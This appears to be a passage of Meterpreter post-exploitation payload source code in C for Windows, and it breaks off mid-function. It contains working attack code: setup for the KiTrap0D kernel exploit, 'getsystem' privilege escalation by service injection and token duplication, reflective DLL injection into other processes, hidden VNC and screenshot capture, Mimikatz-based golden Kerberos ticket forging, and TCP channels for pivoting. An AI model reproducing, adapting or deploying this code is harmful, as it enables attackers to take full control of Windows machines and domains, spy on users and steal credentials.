/* * Setup a minimal execution environment to satisfy NtVdmControl(). */ BOOL elevator_kitrap0d_initvdmsubsystem( VOID ) { DWORD dwResult = ERROR_SUCCESS; FARPROC pNtAllocateVirtualMemory = NULL; FARPROC pNtFreeVirtualMemory = NULL; FARPROC pNtVdmControl = NULL; PBYTE BaseAddress = (PVOID)0x00000001; HMODULE hNtdll = NULL; ULONG RegionSize = 0; static DWORD TrapHandler[128] = {0}; static DWORD IcaUserData[128] = {0}; static struct { PVOID TrapHandler; PVOID IcaUserData; } InitData; do { hNtdll = GetModuleHandle( "ntdll" ); if( !hNtdll ) BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER ); pNtAllocateVirtualMemory = GetProcAddress( hNtdll, "NtAllocateVirtualMemory" ); pNtFreeVirtualMemory = GetProcAddress( hNtdll, "NtFreeVirtualMemory" ); pNtVdmControl = GetProcAddress( hNtdll, "NtVdmControl" ); if( !pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl ) BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER ); InitData.TrapHandler = TrapHandler; InitData.IcaUserData = IcaUserData; // Remove anything currently mapped at NULL pNtFreeVirtualMemory( GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE ); BaseAddress = (PVOID)0x00000001; RegionSize = (ULONG)0x00100000; // Allocate the 1MB virtual 8086 address space. if( pNtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) != STATUS_SUCCESS ) BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV' ); // Finalise the initialisation. if( pNtVdmControl( VdmInitialize, &InitData ) != STATUS_SUCCESS ) BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC' ); return TRUE; } while( 0 ); ExitThread( dwResult ); return FALSE; }
/* * Create and run a VNC server on this socket. */ DWORD vncdll_run( AGENT_CTX * lpAgentContext ) { DWORD dwResult = ERROR_SUCCESS; VSocketSystem * vsocketsystem = NULL; vncServer * vserver = NULL; HDESK desk = NULL; WSADATA WSAData = {0}; SOCKET sock = 0; BYTE bFlags = 0; do { dprintf( "[VNCDLL] vncdll_run. Started..." ); if( !lpAgentContext ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. invalid parameters", ERROR_INVALID_PARAMETER ); hMessageMutex = CreateMutex( NULL, FALSE, NULL ); desk = vncdll_getinputdesktop( TRUE ); vncdll_unlockwindowstation(); if( !lpAgentContext->bDisableCourtesyShell ) vncdll_courtesyshell( desk ); vsocketsystem = new VSocketSystem(); if( !vsocketsystem->Initialised() ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. VSocketSystem Initialised failed", ERROR_NETWORK_ACCESS_DENIED ); vserver = new vncServer(); vncClientId cid = vserver->AddClient( lpAgentContext ); dprintf( "[VNCDLL-0x%08X] vncdll_run. Going into wait state... cid=%d", hAppInstance, cid ); WaitForSingleObject( lpAgentContext->hCloseEvent, INFINITE ); vserver->RemoveClient( cid ); } while( 0 ); dprintf( "[VNCDLL-0x%08X] vncdll_run. terminating...", hAppInstance ); delete vserver; delete vsocketsystem; CLOSE_HANDLE( hMessageMutex ); return 0; }
/* * Inject a DLL into another process via Reflective DLL Injection. */ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer ) { DWORD dwResult = ERROR_ACCESS_DENIED; DWORD dwPidArch = PROCESS_ARCH_UNKNOWN; DWORD dwDllArch = PROCESS_ARCH_UNKNOWN; LPVOID lpDllBuffer = NULL; DWORD dwDllLenght = 0; do { if( !pDllBuffer ) BREAK_WITH_ERROR( "[PS] ps_inject_dll. No Dll buffer specified", ERROR_INVALID_PARAMETER ); dwPidArch = ps_getarch( dwPid ); dprintf("before pid check, dwPidArch: %d", dwPidArch); //dwPidArch = PROCESS_ARCH_X86; if( dwPidArch == PROCESS_ARCH_X86 ) { lpDllBuffer = pDllBuffer->lpPE32DllBuffer; dwDllLenght = pDllBuffer->dwPE32DllLenght; dprintf("ps_inject PID arch is x86"); } else if( dwPidArch == PROCESS_ARCH_X64 ) { lpDllBuffer = pDllBuffer->lpPE64DllBuffer; dwDllLenght = pDllBuffer->dwPE64DllLenght; dprintf("ps_inject PID arch is x64"); } else { BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine target pid arhitecture", ERROR_INVALID_DATA ); } dwDllArch = ps_getarch_dll( lpDllBuffer ); if( dwDllArch == PROCESS_ARCH_UNKNOWN ) BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine DLL arhitecture", ERROR_BAD_FORMAT ); if( dwDllArch != dwPidArch ) BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT ); dwResult = inject_dll( dwPid, lpDllBuffer, dwDllLenght ); } while( 0 ); return dwResult; }
/* * Shuts the socket down for either reading or writing based on the how * parameter supplied by the remote side */ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; SocketContext * ctx = NULL; Channel * channel = NULL; DWORD cid = 0; DWORD how = 0; do { dprintf( "[TCP] entering request_net_socket_tcp_shutdown" ); response = packet_create_response( packet ); if( !response ) BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY ); cid = packet_get_tlv_value_uint( packet, TLV_TYPE_CHANNEL_ID ); how = packet_get_tlv_value_uint( packet, TLV_TYPE_SHUTDOWN_HOW ); channel = channel_find_by_id( cid ); if( !response ) BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE ); dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid ); ctx = channel_get_native_io_context( channel ); if( !ctx ) BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE ); if( shutdown( ctx->fd, how ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP] request_net_socket_tcp_shutdown. shutdown failed" ); // sf: we dont seem to need to call this here, as the channels tcp_channel_client_local_notify() will // catch the socket closure and call free_socket_context() for us, due the the FD_READ|FD_CLOSE flags // being passed to WSAEventSelect for the notify event in create_tcp_client_channel(). // This avoids a double call (from two different threads) and subsequent access violation in some edge cases. //free_socket_context( ctx ); } while( 0 ); packet_transmit_response( dwResult, remote, response ); dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" ); return ERROR_SUCCESS; }
/* * Extract the vnc.dll into the provided DLL_BUFFER. */ DWORD loader_vncdll( DLL_BUFFER * pDllBuffer ) { DWORD dwResult = ERROR_SUCCESS; HRSRC hVncResource = NULL; HGLOBAL hVncResourceLoad = NULL; LPVOID lpVncDllBuffer = NULL; DWORD dwVncDllSize = 0; #ifdef _WIN64 DWORD dwCompiledArch = PROCESS_ARCH_X64; #else DWORD dwCompiledArch = PROCESS_ARCH_X86; #endif do { if( !pDllBuffer ) BREAK_WITH_ERROR( "[LOADER] Init. pDllBuffer is null", ERROR_INVALID_PARAMETER ); pDllBuffer->dwPE64DllLenght = 0; pDllBuffer->lpPE64DllBuffer = NULL; pDllBuffer->dwPE32DllLenght = 0; pDllBuffer->lpPE32DllBuffer = NULL; hVncResource = FindResource( (HMODULE)hAppInstance, "IDR_VNC_DLL", "IMG" ); if( !hVncResource ) BREAK_ON_ERROR( "[LOADER] Init. FindResource failed" ); dwVncDllSize = SizeofResource( (HMODULE)hAppInstance, hVncResource ); if( !dwVncDllSize ) BREAK_ON_ERROR( "[LOADER] Init. SizeofResource failed" ); hVncResourceLoad = LoadResource( (HMODULE)hAppInstance, hVncResource ); if( !hVncResourceLoad ) BREAK_ON_ERROR( "[LOADER] Init. LoadResource failed" ); lpVncDllBuffer = LockResource( hVncResourceLoad ); if( !lpVncDllBuffer ) BREAK_ON_ERROR( "[LOADER] Init. LockResource failed" ); dprintf( "[LOADER] Init. lpVncDllBuffer=0x%08X, dwVncDllSize=%d", lpVncDllBuffer, dwVncDllSize ); if( dwCompiledArch == PROCESS_ARCH_X64 ) { pDllBuffer->dwPE64DllLenght = dwVncDllSize; pDllBuffer->lpPE64DllBuffer = lpVncDllBuffer; } else if( dwCompiledArch == PROCESS_ARCH_X86 ) { pDllBuffer->dwPE32DllLenght = dwVncDllSize; pDllBuffer->lpPE32DllBuffer = lpVncDllBuffer; } } while( 0 ); SetLastError( dwResult ); return dwResult; }
/*! * @brief Attempt to elevate the current meterpreter to local system using a variety of techniques. * @details This function attempts to get system level privileges using a number of techniques. * If the caller hasn't specified a particular technique, then all of the known techniques are * attempted in order until one succeeds. * @return Indication of success or failure. * @retval ERROR_SUCCESS Elevation to `SYSTEM` was successful. */ DWORD elevate_getsystem( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; DWORD dwTechnique = ELEVATE_TECHNIQUE_ANY; Packet * response = NULL; do { response = packet_create_response( packet ); if( !response ) BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE ); dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE ); dprintf( "[ELEVATE] Technique requested (%u)", dwTechnique ); if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ) { dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ); if ( (dwResult = elevate_via_service_namedpipe( remote, packet )) == ERROR_SUCCESS ) { dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE; break; } } if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 ) { dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 ); if ( (dwResult = elevate_via_service_namedpipe2( remote, packet )) == ERROR_SUCCESS ) { dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2; break; } } if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_TOKENDUP ) { dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_TOKENDUP (%u)", ELEVATE_TECHNIQUE_SERVICE_TOKENDUP ); if ( (dwResult = elevate_via_service_tokendup( remote, packet )) == ERROR_SUCCESS ) { dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP; break; } } if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D ) { dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D (%u)", ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D ); if ( (dwResult = elevate_via_exploit_kitrap0d( remote, packet )) == ERROR_SUCCESS ) { dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D; break; } } } while( 0 ); if( response ) { packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE ); packet_transmit_response( dwResult, remote, response ); } return dwResult; }
/* * Send a buffer to a named pipe server. */ DWORD screenshot_send( char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize ) { DWORD dwResult = ERROR_ACCESS_DENIED; HANDLE hPipe = NULL; DWORD dwWritten = 0; DWORD dwTotal = 0; do { hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( !hPipe ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" ); if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" ); if( !dwJpegSize || !pJpegBuffer ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH ); while( dwTotal < dwJpegSize ) { if( !WriteFile( hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL ) ) break; dwTotal += dwWritten; } if( dwTotal != dwJpegSize ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH ); dwResult = ERROR_SUCCESS; } while( 0 ); CLOSE_HANDLE( hPipe ); return dwResult; }
/* * Switch to the input desktop and set it as this threads desktop. */ HDESK vncdll_getinputdesktop( BOOL bSwitchStation ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HDESK hInputDesktop = NULL; HWND hDesktopWnd = NULL; do { if( bSwitchStation ) { // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" ); } // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); } while( 0 ); return hInputDesktop; }
/*! * @brief Handler for the create golden kerberos ticket message. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming packet. * @returns \c ERROR_SUCCESS */ DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet) { DWORD dwResult; Packet * response = packet_create_response(packet); DWORD dwGroupCount = 0; DWORD* pdwGroups = NULL; Tlv groupIdTlv; char* user = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_USER); char* domain = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_DOMAIN); char* sid = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_SID); char* tgt = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_TGT); DWORD userId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_GOLD_USERID); if (!user || !domain || !sid || !tgt) { dwResult = ERROR_INVALID_PARAMETER; } else { while (packet_enum_tlv(packet, dwGroupCount, TLV_TYPE_KIWI_GOLD_GROUPID, &groupIdTlv) == ERROR_SUCCESS) { pdwGroups = (DWORD*)realloc(pdwGroups, sizeof(DWORD) * (dwGroupCount + 1)); if (!pdwGroups) { BREAK_WITH_ERROR("Unable to allocate memory for groups", ERROR_OUTOFMEMORY); } pdwGroups[dwGroupCount++] = htonl(*(UINT*)groupIdTlv.buffer); } dwResult = mimikatz_kerberos_golden_ticket_create(user, domain, sid, tgt, userId, pdwGroups, dwGroupCount, response); } packet_transmit_response(dwResult, remote, response); return ERROR_SUCCESS; }
/* * Enable or disable a privilege in our processes current token. */ BOOL elevate_priv( char * cpPrivilege, BOOL bEnable ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hToken = NULL; TOKEN_PRIVILEGES priv = {0}; do { if( !cpPrivilege ) BREAK_WITH_ERROR( "[ELEVATE] elevate_priv. invalid arguments", ERROR_BAD_ARGUMENTS ); if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_priv. OpenProcessToken failed" ); priv.PrivilegeCount = 1; if( bEnable ) priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else priv.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED; if( !LookupPrivilegeValue( NULL, cpPrivilege, &priv.Privileges[0].Luid ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_priv. LookupPrivilegeValue failed" ); if( !AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_priv. AdjustTokenPrivileges failed" ); } while( 0 ); CLOSE_HANDLE( hToken ); SetLastError( dwResult ); if( dwResult == ERROR_SUCCESS ) return TRUE; return FALSE; }
/* * Elevate a pipe server by allowing it to impersonate us. */ BOOL elevator_namedpipeservice( char * cpServiceName ) { DWORD dwResult = ERROR_SUCCESS; SERVICE_TABLE_ENTRY servicetable[2] = {0}; do { if( !cpServiceName ) BREAK_WITH_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. cpServiceName == NULL", ERROR_INVALID_HANDLE ); lpServiceName = _strdup( cpServiceName ); hTerminate = CreateEvent( 0, TRUE, FALSE, 0 ); if( !hTerminate ) BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. CreateEvent hTerminate failed" ); servicetable[0].lpServiceName = lpServiceName; servicetable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)elevator_serviceproc; servicetable[1].lpServiceName = NULL; servicetable[1].lpServiceProc = NULL; if( !StartServiceCtrlDispatcher( servicetable ) ) BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. StartServiceCtrlDispatcher failed" ); if( WaitForSingleObject( hTerminate, INFINITE ) != WAIT_OBJECT_0 ) BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. WaitForSingleObject failed" ); dwResult = dwElevateStatus; } while( 0 ); CLOSE_HANDLE( hTerminate ); return dwResult; }
/* * Elevate from local admin to local system via code injection in a system service. * Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open * service process from a non elevated admin. * * A current limitation in LoadRemoteLibraryR prevents this from working across * architectures so we just filter out running this from an x64 platform for now. */ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hToken = NULL; HANDLE hTokenDup = NULL; HANDLE hProcess = NULL; HANDLE hThread = NULL; HANDLE hManager = NULL; HANDLE hService = NULL; LPVOID lpServiceBuffer = NULL; LPVOID lpRemoteCommandLine = NULL; ENUM_SERVICE_STATUS * lpServices = NULL; char * cpServiceName = NULL; SERVICE_STATUS_PROCESS status = {0}; char cCommandLine[128] = {0}; OSVERSIONINFO os = {0}; DWORD dwServiceLength = 0; DWORD dwBytes = 0; DWORD index = 0; DWORD dwServicesReturned = 0; DWORD dwExitCode = 0; do { // only works on x86 systems for now... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" ) // filter out Windows NT4 if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT ) cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME ); dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS ); if( !elevate_priv( SE_DEBUG_NAME, TRUE ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" ); hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE ); if( !hManager ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) ) { if( GetLastError() != ERROR_MORE_DATA ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" ); } lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes ); if( !lpServices ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" ); dwResult = ERROR_ACCESS_DENIED; // we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully // it means we have been given a system token so we duplicate it as a primary token for use by metsrv. for( index=0 ; index<dwServicesReturned ; index++ ) { do { hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); if( !hService ) break; if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) ) break; if( status.dwCurrentState != SERVICE_RUNNING ) break; // open a handle to this service (assumes we have SeDebugPrivilege)... hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId ); if( !hProcess ) break; dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId ); _snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() ); // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) break; if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) ) break; // use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine ); if( !hThread ) break; // we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed. if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 ) break; // get the exit code for our injected elevator.dll if( !GetExitCodeThread( hThread, &dwExitCode ) ) break; // if the exit code was successfull we have been given a local system token, so we duplicate it // as a primary token for use by metsrv if( dwExitCode == ERROR_SUCCESS ) { if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) ) { if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) ) { core_update_thread_token( remote, hTokenDup ); dwResult = ERROR_SUCCESS; break; } } } } while( 0 ); CLOSE_SERVICE_HANDLE( hService ); CLOSE_HANDLE( hProcess ); CLOSE_HANDLE( hThread ); CLOSE_HANDLE( hToken ); if( dwResult == ERROR_SUCCESS ) break; } } while( 0 ); CLOSE_SERVICE_HANDLE( hManager ); if( lpServices ) free( lpServices ); SetLastError( dwResult ); return dwResult; }
/*! * @brief Allocates a streaming TCP server channel. * @param remote Pointer to the remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Opening the server channel completed successfully. */ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) { DWORD dwResult = ERROR_SUCCESS; TcpServerContext * ctx = NULL; Packet * response = NULL; char * localHost = NULL; StreamChannelOps chops = { 0 }; USHORT localPort = 0; BOOL v4Fallback = FALSE; do { response = packet_create_response(packet); if (!response) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); } ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext)); if (!ctx) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY); } memset(ctx, 0, sizeof(TcpServerContext)); ctx->remote = remote; localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF); if (!localPort) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. localPort == NULL", ERROR_INVALID_HANDLE); } localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST); ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if (ctx->fd == INVALID_SOCKET) { v4Fallback = TRUE; } else { int no = 0; if (setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) { // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common // so instead, we'll just revert back to v4 and listen on that one address instead. closesocket(ctx->fd); v4Fallback = TRUE; } } struct sockaddr_in6 sockAddr = { 0 }; DWORD sockAddrSize = 0; if (v4Fallback) { struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; v4Addr->sin_addr.s_addr = localHost == NULL ? htons(INADDR_ANY) : inet_addr(localHost); v4Addr->sin_family = AF_INET; v4Addr->sin_port = htons(localPort); sockAddrSize = sizeof(struct sockaddr_in); } else { // TODO: add IPv6 address binding support sockAddr.sin6_addr = in6addr_any; sockAddr.sin6_family = AF_INET6; sockAddr.sin6_port = htons(localPort); sockAddrSize = sizeof(struct sockaddr_in6); } if (bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed"); } if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed"); } ctx->notify = WSACreateEvent(); if (ctx->notify == WSA_INVALID_EVENT) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed"); } if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed"); } ctx->ipv6 = !v4Fallback; memset(&chops, 0, sizeof(StreamChannelOps)); chops.native.context = ctx; chops.native.close = tcp_channel_server_close; ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops); if (!ctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE); } scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL); packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel)); dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel)); } while (0); packet_transmit_response(dwResult, remote, response); do { if (dwResult == ERROR_SUCCESS) { break; } dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult); if (!ctx) { break; } if (ctx->fd) { dprintf("[TCP-SERVER] Destroying socket"); closesocket(ctx->fd); } if (ctx->channel) { dprintf("[TCP-SERVER] Destroying channel"); channel_destroy(ctx->channel, packet); } free(ctx); } while (0); return dwResult; }
/*! * @brief Notify routine for a tcp server channel to pick up its new client connections.. * @param remote Pointer to the remote instance. * @param serverCtx Pointer to the TCP server context. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Notification completed successfully. */ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) { DWORD dwResult = ERROR_SUCCESS; TcpClientContext* clientctx = NULL; Packet* request = NULL; SOCKADDR_IN6 clientaddr = { 0 }; SOCKADDR_IN6 serveraddr = { 0 }; SOCKET sock = 0; DWORD size = 0; char* localhost = NULL; char* peerhost = NULL; int localport = 0; int peerport = 0; do { if (!serverCtx) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE); } ResetEvent(serverCtx->notify); size = sizeof(SOCKADDR_IN6); sock = accept(serverCtx->fd, (SOCKADDR*)&clientaddr, &size); if (sock == INVALID_SOCKET) { if (WSAGetLastError() == WSAEWOULDBLOCK) { Sleep(100); break; } BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed"); } dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", 